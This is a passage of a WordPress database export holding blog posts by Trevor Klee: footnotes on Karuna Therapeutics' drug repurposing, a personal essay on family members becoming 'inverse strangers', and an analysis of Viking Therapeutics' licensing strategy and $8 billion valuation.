src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52faeae-d87e-41ab-8c86-55f7c8868857_1524x1056.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>To be cynical about it, the story that VCs prefer where a brilliant discovery enables a drug engine that can spit out a bunch of different profitable drugs (or, in biotech parlance, a platform) is less because they think that makes for a better company and more because they think that makes for a better story for retail investors. After all, preferring a platform to a drug only makes sense if you think all drugs have the same, indefinite chance of success. Otherwise, it’s like a boxing coach saying, “Yeah, I could focus my efforts on developing this 15 year old kid named Mike Tyson who is insanely strong and fast, but I’d rather try to coach these 10 random high school students instead. After all, Mike Tyson’s just one guy, but any of these kids could be a champion!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if you have a biotech VC in your life, try sitting them down and gently asking them if they’d be open to a nontraditional route to developing a drug. If they seem open to it, explain drug repurposing to them, and how running confirmatory clinical trials for a drug that already has clinical evidence can be a better use of money than early stage discovery, especially if they don’t insist on selling all their stock at IPO. You’ll be doing them, and the world, a favor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-1-141398123\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sildenafil comes to mind as an incredibly successful sort-of drug repurposing. It was developed as a blood pressure medication and got all the way through healthy volunteer trials before they noticed it had a fascinating side effect. So, Pfizer repurposed it as the first erectile dysfunction medication, renamed it Viagra, and it peaked (no pun intended) at $1.8 billion/year. But it never left Pfizer’s hands, so I’m not sure I’d classify it as drug repurposing in the same way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-2-141398123\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a fascinating connection regarding the connection between dopamine and psychosis. If we think of dopamine as&nbsp;<a href=\"https://erringtowardsanswers.substack.com/p/dopamine-everything-you-need-to-know\">a reward chemical in the Bayesian sense</a>&nbsp;(weight this higher), then psychosis is a result of that going haywire, and rewarding the wrong learning so people find the wrong things significant (the newscaster looked at me so he must be talking about me). It also has the same effects on movement, which is why people on dopamine agonists have “extrapyramidal symptoms”, literally uncontrollable movements. I think it’s basically someone twitches a little bit, and then they get the dopamine reward to move a lot more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-3-141398123\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Really weird connection here: the old schizophrenic medications, like olanzapine (Zyprexa) and risperidone (Risperidal) are actually muscarinic antagonists, among their many other effects. Xanomeline, as you should remember, is a muscarinic agonist. Looking from my perspective 16 years later, I feel confident in just saying “mental illness is complicated and these old drugs hit many targets, some of which may be useless or even counterproductive”, but I’m sure that fact was brought up numerous times throughout the development of xanomeline and Karuna’s combination as an argument against them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-4-141398123\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scientific co-founder is something that sounds impressive but it’s really hard to know what it actually means. If a young guy is a scientific cofounder of a biotech, it probably means that he’s working his butt off in the company’s lab every day and knows the minutiae of every single experiment the company is running. If an old guy is a scientific cofounder of a biotech, it probably means he just shows up once a week to talk to investors and reassure them. Given that Steven Paul was old when he became the scientific co-founder of two separate companies, his duties were probably closer to the latter than the former, which is a pretty sweet gig if you can get it.</p>\n<!-- /wp:paragraph -->','Karuna Therapeutics, a drug repurposing effort, sold for about $14 billion. This is their story.','','inherit','closed','closed','','433-revision-v1','','','2024-06-12 16:17:31','2024-06-12 16:17:31','',433,'https://trevorklee.com/?p=434',0,'revision','',0),
(436,1,'2024-06-12 17:02:22','2024-06-12 17:02:22','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/5713276-trevor-klee\" target=\"_blank\" rel=\"noreferrer noopener\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a graph I saw a while ago on the Internet that’s stuck with me. It shows how you spend your time with others as you get older. So, from ages 0-12 or so, you spend a lot of time with your parents and your siblings. Then you slowly spend less time with them and more and more time with your friends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At age 18, for most Americans (and for me), you then suddenly spend almost zero time with your parents and siblings. Your time with them, for the rest of their lives, is measured in days per year if you’re lucky, hours if you’re not. Most of that time is taken up by your friends at first, then your kids and your spouse, but also, increasingly, just time spent alone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading Trevor Klee’s Newsletter! Subscribe for free to receive new posts, sometimes about biology, sometimes about biotech, and sometimes indulging in nostalgia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know this is true for me. I see my parents for probably a total of two weeks per year, and my siblings for about a week. I’ve been trying to spend more time with my parents in the past couple of years, because I’ve had more than a few increasingly unpleasant reminders that our time together is limited. But still, there’s only so much time we can spend together. Not only do we live in separate states, but, to be honest, we tend to argue when we’re together. There are only so many debates I can have about whether 7:00 pm is too late or too early for dinner and if we need to have dinner together and if we’re not going to eat together you might as well make your own dinner and I worked so hard on this dinner and all I asked you to do was to be home by 6:45 before I… need to go back home and breathe. Then I’m back home, alone, like I am now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is sad, of course, and maybe unnatural given the vast majority of human history. Because we don’t see each other, we really can’t rely on each other the way I’d like to. My support network in Boston consists of my girlfriend, my friends, and strangers I pay, and that’s true for everything from taking care of my dog when I’m on vacation to taking care of me when I’m sick. I’m sure that my siblings would step up if I was grievously sick (or my parents if they could), like my dad’s brother recently did for him, but I won’t ask them to drop their lives if I have the flu, and they don’t ask me, either. We become inverse-strangers, somehow, knowing intimate secrets about each other and sharing the most important moments of our lives but unable to share the mundane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this inverse-strangerhood means that we see each other in snapshots instead of as a whole. And then I see myself as snapshots, too, with all the little triumphs and failures of everyday life flattened out into digestible tidbits. Dinner dates and calls and late night conversations turn into “Oh yeah, we’re seeing each other exclusively now”. Entrepreneurship’s wild ups and downs, the rapid cycling between certainty of success and certainty of bankruptcy gets turned into “Work’s fine, not much to report”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I went to my parents’ house in Florida last week to spend some time with them. While I was there, I found my dad’s collection of mementos from my and my brothers’ childhoods, giant Ziploc bags filled with report cards and newspaper clippings and school projects. I found myself enormously entertained by comparing my brothers’ parallel lives. As fraternal twins, they always had the unfortunate experience of doing everything at the same time, being compared to each other constantly, and yet being entirely different from one another.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, they both had the same assignment in 7th grade to write a short story. Solicitous, empathetic Justin wrote a story about a boy experiencing the death of a mentor, and the young boy being comforted by his father and then comforting another, younger boy in turn. Boisterous, confident Jared wrote a story about a teenager narrowly escaping kidnapping by an escaped convict.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The difference became especially striking when I found their postcards from summer camp, buried somewhere in the middle of the bag. Justin, ever concerned about others, gave personal and health updates on me, on Jared, on our cousins at the camp, and even his friends in the cabin, who neither I nor, presumably, my parents, had the foggiest idea of. Jared gave updates on his athletic accomplishments (he had the second fastest time on the climbing wall), how hot and muggy the weather was, and on the unfairness of the camp’s PDA rules, which didn’t allow him to hug his girlfriends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I looked through these postcards 20 odd years later, at this point closer in age to my parents when they first got these postcards than my brothers when they wrote them, I had the uncanny sense of, once again, looking at my brothers’ lives through snapshots, much like my parents must have. Some of the events I vaguely recalled, like Justin’s astonishment at how being the lead “singer” in the winning lip sync band made him so popular that 12 separate girls asked him to the end-of-camp dance. Others I didn’t, like how their friend Jordan’s girlfriend apparently broke up with him by telling him that she had a crush on both Jared and Justin simultaneously, causing much consternation within the friend group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>21 years ago, these were the events that defined my brothers’ experience and their world. When they wanted to convey to my parents what exactly their first glimpses of a life with my parents not around would consist of, something that, at the time, seemed so wonderful, this is what they wrote about. And here I was, an adult, two decades and a thousand miles away, trying to piece together who they were from these glimpses and my own foggy memories. Inverse strangers once more.</p>\n<!-- /wp:paragraph -->','When your family becomes inverse strangers','','publish','closed','closed','','when-your-family-becomes-inverse-strangers','','','2024-06-12 17:02:22','2024-06-12 17:02:22','',0,'https://trevorklee.com/?page_id=436',0,'page','',0),
(437,1,'2024-06-12 17:02:22','2024-06-12 17:02:22','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/5713276-trevor-klee\" target=\"_blank\" rel=\"noreferrer noopener\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a graph I saw a while ago on the Internet that’s stuck with me. It shows how you spend your time with others as you get older. So, from ages 0-12 or so, you spend a lot of time with your parents and your siblings. Then you slowly spend less time with them and more and more time with your friends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At age 18, for most Americans (and for me), you then suddenly spend almost zero time with your parents and siblings. Your time with them, for the rest of their lives, is measured in days per year if you’re lucky, hours if you’re not. Most of that time is taken up by your friends at first, then your kids and your spouse, but also, increasingly, just time spent alone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading Trevor Klee’s Newsletter! Subscribe for free to receive new posts, sometimes about biology, sometimes about biotech, and sometimes indulging in nostalgia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know this is true for me. I see my parents for probably a total of two weeks per year, and my siblings for about a week. I’ve been trying to spend more time with my parents in the past couple of years, because I’ve had more than a few increasingly unpleasant reminders that our time together is limited. But still, there’s only so much time we can spend together. Not only do we live in separate states, but, to be honest, we tend to argue when we’re together. There are only so many debates I can have about whether 7:00 pm is too late or too early for dinner and if we need to have dinner together and if we’re not going to eat together you might as well make your own dinner and I worked so hard on this dinner and all I asked you to do was to be home by 6:45 before I… need to go back home and breathe. Then I’m back home, alone, like I am now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is sad, of course, and maybe unnatural given the vast majority of human history. Because we don’t see each other, we really can’t rely on each other the way I’d like to. My support network in Boston consists of my girlfriend, my friends, and strangers I pay, and that’s true for everything from taking care of my dog when I’m on vacation to taking care of me when I’m sick. I’m sure that my siblings would step up if I was grievously sick (or my parents if they could), like my dad’s brother recently did for him, but I won’t ask them to drop their lives if I have the flu, and they don’t ask me, either. We become inverse-strangers, somehow, knowing intimate secrets about each other and sharing the most important moments of our lives but unable to share the mundane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this inverse-strangerhood means that we see each other in snapshots instead of as a whole. And then I see myself as snapshots, too, with all the little triumphs and failures of everyday life flattened out into digestible tidbits. Dinner dates and calls and late night conversations turn into “Oh yeah, we’re seeing each other exclusively now”. Entrepreneurship’s wild ups and downs, the rapid cycling between certainty of success and certainty of bankruptcy gets turned into “Work’s fine, not much to report”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I went to my parents’ house in Florida last week to spend some time with them. While I was there, I found my dad’s collection of mementos from my and my brothers’ childhoods, giant Ziploc bags filled with report cards and newspaper clippings and school projects. I found myself enormously entertained by comparing my brothers’ parallel lives. As fraternal twins, they always had the unfortunate experience of doing everything at the same time, being compared to each other constantly, and yet being entirely different from one another.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, they both had the same assignment in 7th grade to write a short story. Solicitous, empathetic Justin wrote a story about a boy experiencing the death of a mentor, and the young boy being comforted by his father and then comforting another, younger boy in turn. Boisterous, confident Jared wrote a story about a teenager narrowly escaping kidnapping by an escaped convict.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The difference became especially striking when I found their postcards from summer camp, buried somewhere in the middle of the bag. Justin, ever concerned about others, gave personal and health updates on me, on Jared, on our cousins at the camp, and even his friends in the cabin, who neither I nor, presumably, my parents, had the foggiest idea of. Jared gave updates on his athletic accomplishments (he had the second fastest time on the climbing wall), how hot and muggy the weather was, and on the unfairness of the camp’s PDA rules, which didn’t allow him to hug his girlfriends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I looked through these postcards 20 odd years later, at this point closer in age to my parents when they first got these postcards than my brothers when they wrote them, I had the uncanny sense of, once again, looking at my brothers’ lives through snapshots, much like my parents must have. Some of the events I vaguely recalled, like Justin’s astonishment at how being the lead “singer” in the winning lip sync band made him so popular that 12 separate girls asked him to the end-of-camp dance. Others I didn’t, like how their friend Jordan’s girlfriend apparently broke up with him by telling him that she had a crush on both Jared and Justin simultaneously, causing much consternation within the friend group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>21 years ago, these were the events that defined my brothers’ experience and their world. When they wanted to convey to my parents what exactly their first glimpses of a life with my parents not around would consist of, something that, at the time, seemed so wonderful, this is what they wrote about. And here I was, an adult, two decades and a thousand miles away, trying to piece together who they were from these glimpses and my own foggy memories. Inverse strangers once more.</p>\n<!-- /wp:paragraph -->','When your family becomes inverse strangers','','inherit','closed','closed','','436-revision-v1','','','2024-06-12 17:02:22','2024-06-12 17:02:22','',436,'https://trevorklee.com/?p=437',0,'revision','',0),
(438,1,'2024-06-12 17:03:29','2024-06-12 17:03:29','<!-- wp:paragraph -->\n<p>In my last biotech related post,&nbsp;<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing\">I introduced you all to Karuna Therapeutics</a>, a company that turned a $100k investment into $14 billion with a little bit of gumption, over a decade of clinical trials, and a couple hundred million dollars of investment<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-1-142182016\">1</a>. I received a very strong response from that post, which was great, including from a couple new friends in the repurposing world. Fun times all around!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While talking to some of the people who responded to my post, I realized that I may have left some of you with the misleading impression that Karuna is an exceptional or interesting company because they made money off someone else’s molecules. That is not the case. Karuna is an exceptional company because they made a ton of money off of just two molecules which are both, at this point, generic and which Karuna simply combined. That sort of repurposing story is rare in biotech, although getting more common, including with my own company<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-2-142182016\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, making money off of other people’s molecules in general isn’t uncommon at all. In fact, I’d say it’s the rule rather than the exception. Nowadays, biotech is awash in small molecules, biologics, gene therapies, and anything else you can think of putting into a mouse’s body. This is why I cringe when I see yet another startup with yet another plan to apply AI or what-have-you to the discovery phase, claiming that their algorithms will allow them to discover 1000 drug candidates before their competitors find one. Even if they’re right, who cares? They can take their 1000 drug candidates and add them to the pile<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-3-142182016\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92e7105d-5c63-42bc-ab41-09b060f821d8_609x608.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92e7105d-5c63-42bc-ab41-09b060f821d8_609x608.jpeg\" alt=\"The little mermaid | Ariel the little mermaid, The little mermaid, Disney  cartoon characters\" title=\"The little mermaid | Ariel the little mermaid, The little mermaid, Disney  cartoon characters\"/></a><figcaption class=\"wp-element-caption\">Imagine this bad Pinterest meme, but instead of thingambobs, it’s Ariel holding a box of monoclonal antibodies targeting IL-6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Instead, the real way to be successful in biotech these days is to be able to pick the right candidates, and carefully shepherd them through the requisite trials with the money you have. This is a delicate balancing act, involving structuring your company around development milestones. Each milestone you achieve should make investors more convinced that your company’s drug will make billions of dollars for you or whoever you sell the drug to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That brings me to the topic of today’s post. Viking Therapeutics is a publicly-traded company which, as of today (February 27, 2024) is worth $8 billion with fewer than 30 employees. So, you know, they’re worth pretty close to $300 million per employee. This is more than twice as much as they were worth yesterday, before they announced that their obesity therapeutic, a combination GLP-1/GIP agonist, worked better than Eli Lilly’s flagship GLP-1/GIP agonist Zepbound (a.k.a. Mounjaro) in a phase 2 trial<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-4-142182016\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why Viking Therapeutics was able to achieve this valuation with just 27 employees is because they didn’t develop any of their therapeutics themselves. They licensed all their drugs from Ligand Therapeutics, who, in turn, acquired their drugs from…somewhere. It’s hard to say exactly where, because Ligand’s entire business model is based around finding unused drugs in the patent portfolios of universities and biotech companies (especially big pharma), buying them for a small amount, and then licensing them for more. Ligand is about as tightlipped with their sourcing as Costco is, for obvious reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;It’s also difficult to know exactly how much Viking paid for their GLP-1/GIP agonist. Viking’s a bit shy about that. What we do know is that, for their original compounds licensed from Ligand, Viking actually didn’t pay anything up front. Instead, they entered into a complicated financing agreement with Ligand, where they gave Ligand stock, a board seat, and agreed to pay Ligand incentive payments if the molecules reached certain scientific and sales milestones (around $50-$150 million total depending on the molecule). They also agreed to pay single digit royalties if the product made it to market. So we can assume they probably had roughly the same deal for their GLP-1/GIP dual agonist, although probably with greater incentive payments, given the size of the market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given Viking’s mix of programs which have been variously continued and discontinued, it’s also hard to piece together exactly how much they spent on their clinical trials. Each year they’ve reported about $30-40 million in research and development costs, which, for them, are driven mostly by trials. That number has increased to about $60 million for their most recent annual report. So, it’s probably something $20-30 million for the phase 2 obesity trial that added the extra $4 billion to their stock price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of this is too different from Karuna’s repurposing journey. What is different is that Viking, unlike Karuna, had much more flexibility with their development journey because they basically chose their molecule out of a catalog. This gave Viking a lot more options than Karuna, but also a lot more chances to mess up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important choices Viking had to make were their first choices: which indications and which molecules. This is tougher than it sounds. The biggest indications are, generally, the most competitive, especially if there’s a clear path to market (i.e. the milestones are well laid out and widely accepted). Smaller, less lucrative indications are less competitive, but, not only will you be competing for a smaller prize, you’ll be forging your own path, with the risk that potential partners will not accept your milestones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Viking, back in 2014, had to choose which molecules they wanted to license from Ligand, and hope that, in the 10-ish years it’d take to get any of those molecules approved as a drug, those molecules would be recognizable as best in class for their indication or subindication<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-5-142182016\">5</a>, that indication or subindication would be valuable, and, of course, those molecules would not have encountered any of the normal problems along the way, like toxicity or manufacturing issues. Viking chose 3 compounds that were ready for phase 2 trials and three that were preclinical, in a mix of major and minor indications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of their original 6 compounds, 10 years later, literally none of them have really panned out. One of the phase 2 compounds in a major indication (NASH) is still in phase 2 trials, but is likely ironically going to be superseded by the GLP-1 agonist revolution; and one of the preclinicals has made it to phase 1 in a rare indication, but it’s a small prize to win anyways. The rest have disappeared from Viking’s website. This is not to knock Viking’s work or thought process, but just to point out that predicting the future is really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What has panned out for Viking, on the other hand, is successfully catching the GLP-1 agonist/GIP agonist waves. Biotech, like techtech, is prone to waves of sentiment, and the insane success of Ozempic and its ilk have been one of the biggest waves in a long time. Not only have they made obesity an actually treatable medical condition<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-6-142182016\">6</a>, but they’ve had a ton of success treating a lot of conditions associated with obesity, like fatty liver (NASH) and chronic kidney disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The funny thing is that Viking caught that wave relatively late, which put them behind the 8-ball. But that brings me to the next important part of Viking’s success: execution. They first announced preclinical data for their GLP-1/GIP dual agonist&nbsp; in November, 2021, which was a full 5 months after Wegovy, a GLP-1 agonist, had already been approved for weight loss, and after tirzepatide (Mounjaro), Eli LIlly’s flagship GLP-1/GIP dual agonist, had already released human results. They needed to move fast.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So they did. They started with comparing preclinical weight loss results in obese mice treated with their drug vs. tirzepatide and vs. semaglutide (Wegovy), and continuing with preliminary human results by March 2023 and then confirmatory human results vs. tirzepatide by February 2024. With each step, they tried their best to show that their drug would be better than tirzepatide, including starting to develop an oral version of their drug (which, for the record, is similar to what my company is doing with our combination, but with a different best-in-class molecule. Shoot me an email if you want to hear more). This, of course, wouldn’t have been possible if they didn’t choose the right molecule, but it was important to utilize the right molecule to the greatest extent possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This tight timeline doesn’t leave them much time for toxicology and manufacturing, so I imagine they had some results already from Ligand, although it’s hard to say without being able to see their FDA filings. It’s also possible they just crammed those development steps in there and got lucky with how smoothly they went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, the combination of choosing a molecule that could be best in class, an indication that was both lucrative and wasn’t totally solved by the time Viking got good human results, and executing a development program well meant that Viking was able to achieve their impressive valuation, and, probably, get acquired relatively soon. Good job on becoming billionaires, guys!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-1-142182016\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And in my last, last post, I introduced you to my vice of nostalgia, if you weren’t already familiar with it. I apologize for the inconsistency of the topics of this newsletter, and I invite anyone who feels weirded out by it to apply for a refund.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-2-142182016\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another great example of making money off of combinations generic molecules is Axsome Therapeutics’ dextromethorphan/bupropion for major depressive disorder. Dextromethorphan you might know as the ingredient in cough syrup that teenagers use to get high. Bupropion you probably know better as Wellbutrin. Combine them together, like Axsome did, and go through&nbsp;<a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\">a regulatory shitshow</a>, like Axsome did, and you get a $4 billion company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-3-142182016\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, if a startup pitches that they can discover drug candidates for “undruggable” targets, or receptors that are widely known to be biologically relevant but are difficult to develop drugs for, that is actually a legitimate pitch and something to build a company off of. But that’s not what most of these AI-for-biotech companies are pitching.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-4-142182016\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For more on the science of this, stay tuned for my upcoming article with Asimov Press</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-5-142182016\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subindication meaning that it’s a patient subset. Dividing patients into subsets can be super common in some indications, like cancer, where you’ll often see new cancer drugs marketed as the best option for patients who have prostate cancer, have been castrated, and have failed 4 treatments already. I have mixed feelings about this because I think it actually leaves room for scientific misconduct. That’s a story for another time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-anchor-6-142182016\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, I am throwing all weight loss surgeries under the bus here, as well as every weight loss therapeutic that’s involved people pooping a lot or people being physically unable to eat. The sheer number of patients who have hopped on the GLP-1 agonist train already dwarfs all of those combined by a long shot.</p>\n<!-- /wp:paragraph -->','Viking Therapeutics has an $8 billion market cap with 27 full time employees. This is their story.','','publish','closed','closed','','viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story','','','2024-06-12 17:03:29','2024-06-12 17:03:29','',0,'https://trevorklee.com/?page_id=438',0,'page','',0),
(439,1,'2024-06-12 17:03:29','2024-06-12 17:03:29','<!-- wp:paragraph -->\n<p>In my last biotech related post,&nbsp;<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing\">I introduced you all to Karuna Therapeutics</a>, a company that turned a $100k investment into $14 billion with a little bit of gumption, over a decade of clinical trials, and a couple hundred million dollars of investment<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-1-142182016\">1</a>. I received a very strong response from that post, which was great, including from a couple new friends in the repurposing world. Fun times all around!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While talking to some of the people who responded to my post, I realized that I may have left some of you with the misleading impression that Karuna is an exceptional or interesting company because they made money off someone else’s molecules. That is not the case. Karuna is an exceptional company because they made a ton of money off of just two molecules which are both, at this point, generic and which Karuna simply combined. That sort of repurposing story is rare in biotech, although getting more common, including with my own company<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-2-142182016\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, making money off of other people’s molecules in general isn’t uncommon at all. In fact, I’d say it’s the rule rather than the exception. Nowadays, biotech is awash in small molecules, biologics, gene therapies, and anything else you can think of putting into a mouse’s body. This is why I cringe when I see yet another startup with yet another plan to apply AI or what-have-you to the discovery phase, claiming that their algorithms will allow them to discover 1000 drug candidates before their competitors find one. Even if they’re right, who cares? They can take their 1000 drug candidates and add them to the pile<a href=\"https://trevorklee.substack.com/p/viking-therapeutics-has-an-8-billion#footnote-3-142182016\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92e7105d-5c63-42bc-ab41-09b060f821d8_609x608.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92e7105d-5c63-42bc-ab41-09b060f821d8_609x608.jpeg\" alt=\"The little mermaid | Ariel the little mermaid, The little mermaid, Disney  cartoon characters\" title=\"The little mermaid | Ariel the little mermaid, The little mermaid, Disney  cartoon characters\"/></a><figcaption class=\"wp-element-caption\">Imagine this bad Pinterest meme, but instead of thingambobs, it’s Ariel holding a box of monoclonal antibodies targeting IL-6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Instead, the real way to be successful in biotech these days is to be able to pick the right candidates, and carefully shepherd them through the requisite trials with the money you have. This is a delicate balancing act, involving structuring your company around development milestones. Each milestone you achieve should make investors more convinced that your company’s drug will make billions of dollars for you or whoever you sell the drug to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That brings me to the topic of today’s post. Viking Therapeutics is a publicly-traded company which, as of today (February 27, 2024) is worth $8 billion with fewer than 30 employees. So, you know, they’re worth pretty close to $300 million per employee. This is more than twice as much as they were worth yesterday, before they announced that their obesity therapeutic, a combination GLP-1/GIP agonist, worked better than Eli Lilly’s flagship GLP-1/GIP agonist Zepbound (a.k.a. Mounjaro) in a phase 2 trial<a 